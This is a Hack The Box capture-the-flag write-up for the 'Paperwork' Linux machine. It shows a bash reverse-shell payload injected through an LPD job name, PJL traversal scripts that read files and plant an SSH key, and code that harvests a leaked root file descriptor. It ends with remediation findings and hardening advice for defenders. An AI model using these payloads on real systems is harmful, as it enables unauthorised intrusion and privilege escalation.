back to writeups

Paperwork

Hack The Box · app.hackthebox.com/machines/Paperwork · Season 11
Machine rank #4399 Linux Easy Season 11 LPD · PJL SCM_RIGHTS User Root ● Completed
TL;DR A Linux machine built around insecure custom printing services, and my favourite kind of box: no single exotic vulnerability, just four individually serious design flaws chained across four trust boundaries. Command injection in a custom LPD service gives a shell as lp; an internal JetDirect/PJL service running as archivist allows arbitrary file read and write via traversal, used to inject an SSH key; and a root-owned management daemon hands an already-open privileged file descriptor to an unprivileged client over SCM_RIGHTS, disclosing an administrator password that the root account also accepts.
Host OS
Linux
Foothold
LPD job-name command injection (TCP 1515) → lp
User
PJL traversal write → authorized_keys → SSH as archivist
Root
SCM_RIGHTS descriptor leak → reused admin password → su
The chain in one line LPD job-name command injection on 1515 → shell as lp → internal PJL service on 127.0.0.1:9100 → path traversal read, then write → SSH authorized_keys for archivist → connect to /run/paperwork/mgmt.sock → receive a root-opened file descriptor via SCM_RIGHTS → recover the reused administrator password → su → root.

01Enumeration

nmap -Pn -p- --min-rate 5000 -oA scans/all-ports <target>
nmap -Pn -sC -sV -p22,80,1515 -oA scans/services <target>

SSH, HTTP, and a custom LPD-compatible service on TCP 1515. Web and source review led straight to the vulnerable Python LPD implementation — and on this box, reading source was worth far more than any scanner.

job_name = "Unknown"
for line in decoded_content.split('\n'):
    line = line.strip()
    if line.startswith('J'):
        job_name = line[1:]
        break

subprocess.Popen(
    f"echo 'Archive: {job_name}' >> /tmp/archive.log",
    shell=True
)

The control file's job name is attacker-controlled, interpolated into a shell string, and run with shell=True. A single quote closes the intended string and everything after it is shell.

02Foothold — LPD command injection

The job name is shaped so the surrounding echo stays syntactically valid:

Jx'; bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'; echo 'x

Which the vulnerable line assembles into:

echo 'Archive: x'; \
bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'; \
echo 'x' >> /tmp/archive.log
nc -lvnp 4444
# uid=7(lp) gid=7(lp) groups=7(lp)

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

03Internal enumeration as lp

cat /etc/passwd | grep -E '/bin/(bash|sh)$'
find /opt/LPDServer -maxdepth 3 -type f -ls 2>/dev/null
ps auxww
ss -lntp

Process enumeration exposes a second printing service:

archivist ... /usr/bin/python3 /home/archivist/printer/jetdirect.py \
    9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log

# and it is localhost-only:
127.0.0.1:9100

Two details make this the whole next stage:

04PJL arbitrary file read

The service speaks Printer Job Language filesystem commands. Reading its own command log first confirms the framing is right before trying anything clever:

timeout 5 python3 -c 'import socket
s=socket.create_connection(("127.0.0.1",9100),2); s.settimeout(3)
s.sendall(b"\x1b%-12345X\r\n@PJL FSUPLOAD NAME=\"0:/logs/commands.log\" OFFSET=0 SIZE=4096\r\n\x1b%-12345X\r\n")
print(s.recv(8192).decode(errors="replace"))'

Then traversal, because the base directory is joined without canonicalisation:

/home/archivist/printer/ + ../../../etc/passwd  →  /etc/passwd
@PJL FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=4096
# archivist:x:1000:1000:archivist:/home/archivist:/bin/bash
Operational note Malformed PJL clients leave this custom server waiting for more data, and repeated fuzzing filled its connection backlog during testing. One short-lived connection at a time, and check service health between attempts — a healthy listener shows a receive queue of zero: ss -lnt | grep 9100 → LISTEN 0 100 127.0.0.1:9100.

05PJL write — SSH key injection

ssh-keygen -t ed25519 -f ./archivist_key -N ''

The target is one level above the printer base: 0:/../.ssh/authorized_keys. The implementation detail that cost time here: this custom server expects the FSDOWNLOAD header and the file bytes in separate socket reads. Sending them in one sendall produces a zero-byte file with no error.

import socket, time

public_key = b"ssh-ed25519 <public-key-data> attacker@kali\n"

s = socket.create_connection(("127.0.0.1", 9100), 2)
header = (
    b"\x1b%-12345X\r\n"
    b"@PJL FSDOWNLOAD NAME=\"0:/../.ssh/authorized_keys\" SIZE="
    + str(len(public_key)).encode()
    + b"\r\n"
)

s.sendall(header)
time.sleep(0.5)
s.sendall(public_key)     # separate write — this is the part that matters
time.sleep(0.5)
s.close()

Verify with FSUPLOAD, then log in:

ssh -i ./archivist_key archivist@<target>
user.txt<redacted>

06Privesc enumeration — reading the daemon

There is no sudo on this system, so it is back to source review:

ls -l /usr/bin/paperwork-daemon
sed -n '1,260p' /usr/bin/paperwork-daemon
ss -xlpn
find /run /var/run /tmp -type s -ls 2>/dev/null

/usr/bin/paperwork-daemon is a world-readable, root-owned Python script. At startup it opens a protected configuration file and keeps the descriptor:

admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)

It exposes a Unix socket to group 1000 — which is archivist's group:

socket_path = "/run/paperwork/mgmt.sock"
s.bind(socket_path)
os.chmod(socket_path, 0o660)
os.chown(socket_path, 0, 1000)

And if the printer log contains PJL filesystem verbs, it enters a "lockdown" path:

if any(trigger in content for trigger in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]):
    return True

The lockdown routine then sends the client an "evidence bundle" of file descriptors:

evidence_bundle = array.array("i", [log_fd, admin_fd])
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])

This is the critical design error. SCM_RIGHTS passes access to the open file description itself, not a pathname. The receiving process never needs filesystem permission to open /etc/paperwork/admin_pins.conf — the descriptor is already open, and it was opened by root. Pathname permissions are simply not in the picture.

07Receiving the privileged descriptor

The earlier PJL activity already wrote the trigger strings into commands.log, so connecting to the management socket goes straight down the vulnerable branch:

import socket, array, os

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/run/paperwork/mgmt.sock")

msg, ancdata, flags, address = s.recvmsg(
    4096, socket.CMSG_SPACE(2 * array.array("i").itemsize))

print(msg.decode(errors="replace"))

for level, kind, data in ancdata:
    if level == socket.SOL_SOCKET and kind == socket.SCM_RIGHTS:
        descriptors = array.array("i")
        descriptors.frombytes(data[:len(data) - (len(data) % descriptors.itemsize)])
        for descriptor in descriptors:
            print(os.pread(descriptor, 4096, 0).decode(errors="replace"))
            os.close(descriptor)

s.close()
ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED.
...
ADMIN_PASSWORD=<redacted>

08Root

The disclosed administrator password is also the local root password:

su -
# uid=0(root) gid=0(root) groups=0(root)
root.txt<redacted>

09If this were your environment

Finding 1 · Critical

OS command injection in the LPD service

Attacker-controlled job metadata was interpolated into a shell command executed with shell=True, giving remote command execution as lp.

How I would fix it
NIST 800-53 r5: SI-10 input validation · CM-7 least functionality · AC-6 least privilege
CWE: CWE-78 OS command injection
Finding 2 · Critical

PJL directory traversal, read and write

PJL filesystem paths were joined to a configured base directory without enforcing that the resolved path stayed beneath it, giving arbitrary read and write as archivist — and therefore SSH key injection.

How I would fix it
NIST 800-53 r5: SI-10 input validation · CM-7 least functionality · AC-3 access enforcement
CWE: CWE-22 path traversal
Finding 3 · High

Printer service running as an interactive user

The JetDirect service ran as archivist and could therefore modify that user's own SSH configuration — turning a printer-service compromise directly into an interactive user compromise.

How I would fix it
NIST 800-53 r5: AC-6 least privilege · CM-6 configuration settings · SC-2 separation of system and user functionality
Finding 4 · Critical

Privileged file descriptor disclosed over SCM_RIGHTS

The root daemon included an unrelated, root-opened descriptor for a protected configuration file in an ancillary message sent to an unprivileged client — disclosing a root-only secret despite the file's pathname permissions being entirely correct.

How I would fix it
NIST 800-53 r5: AC-3 access enforcement · AC-6 least privilege · SC-4 information in shared resources · IA-3 device identification & authentication
CWE: CWE-402 transmission of private resources into a new sphere
Finding 5 · Critical

Application administrator password reused by the root account

One recovered application secret was accepted by su, converting a configuration disclosure straight into full system compromise.

How I would fix it
NIST 800-53 r5: IA-5 authenticator management · AC-6(5) privileged accounts · AC-2 account management · AU-2 event logging

10Detection — the blue-team side

11Takeaways

◆If this were my environment

A legacy print protocol exposed command and traversal primitives, then a privileged process retained a sensitive file descriptor. I would remove the obsolete service and redesign the privileged component around least authority.

Priority controls
  • Disable LPD/PJL when unnecessary; otherwise bind it to a print VLAN, enforce authentication and restrict it with host firewall rules.
  • Canonicalize printer job paths, reject traversal and never allow print data to select host filesystem destinations.
  • Close sensitive file descriptors before privilege changes or child execution and use service sandboxing to deny access to SSH material.
  • Enforce root ownership and strict permissions on authorized_keys, spool directories, unit files and helper binaries.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups